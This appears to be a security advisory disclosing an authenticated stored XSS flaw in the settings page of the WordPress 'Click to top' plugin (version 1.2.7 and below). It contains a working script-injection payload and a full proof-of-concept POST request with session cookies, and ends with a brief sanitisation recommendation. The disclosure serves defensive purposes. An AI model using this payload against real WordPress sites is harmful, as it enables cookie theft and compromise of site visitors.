The WordPress Click to top Plugin version 1.2.7 and below were found to be vulnerable to an authenticated stored XSS vulnerability while I was auditing the plugin.
The Click to top WordPress Plugin is used to include scroll to top feature in a WordPress blog. It was found to be vulnerable toa stored Cross-Site Scripting (XSS) vulnerability. XSS is a type of vulnerability that can be exploited by attackers to perform various malicious actions such as stealing the victim’s session cookies or login credentials, performing arbitrary actions on the victim’s behalf, logging their keystrokes and more.
Type scroll text field in the plugin settings page was found to be vulnerable to stored XSS, as they did not sanitize user given input properly before publishing the changes. It is triggered when a user loads any page on the website. All WordPress websites using Click to top WordPress Plugin version 1.2.7 and below are affected.
Type scroll text field.
Click To Top</script><script>alert(document.cookie)</script>
Proof of Concept
POST /w/wp-admin/options.php HTTP/1.1 Host: 220.127.116.11 Content-Length: 722 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://18.104.22.168 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://22.214.171.124/w/wp-admin/options-general.php?page=click-to-top.php Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Cookie: wordpress_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cb1aafc968a6212fc1ceba7657727836762d457f9b3fc1ac5d8f957c2aa46c16e; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_4d2fcfbc375cbd9e47218d95a7697ebc=mlbnkm1%7C1597746976%7CBlobP8KWB7gDuqKN4SYfQexDQcLX5q74H4H2dnZzuRF%7Cf7f732afdad727391089966b6f76603baec4a9f086a16fa81bc56fe71dfd59ef; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse; wp-settings-time-1=1597574177 Connection: close option_page=click_top_style&action=update&_wpnonce=2502676c1e&_wp_http_referer=%2Fw%2Fwp-admin%2Foptions-general.php%3Fpage%3Dclick-to-top.php&click_top_style%5Bbtn_style%5D=square&click_top_style%5Bhover_affect%5D=bubble-top&click_top_style%5Bbtn_type%5D=text&click_top_style%5Bselect_icon%5D=angle-double-up&click_top_style%5Bbtn_text%5D=Click+To+Top%3C%2Fscript%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&click_top_style%5Bbg_color%5D=%23cccccc&click_top_style%5Bicon_color%5D=%23000000&click_top_style%5Bbg_hover_color%5D=%23555555&click_top_style%5Bhover_color%5D=%23ffffff&click_top_style%5Bscroll_opacity%5D=99&click_top_style%5Bscroll_padding%5D=5&click_top_style%5Bfont_size%5D=16&submit=Save+Changes
All user inputs should be sanitized before usage.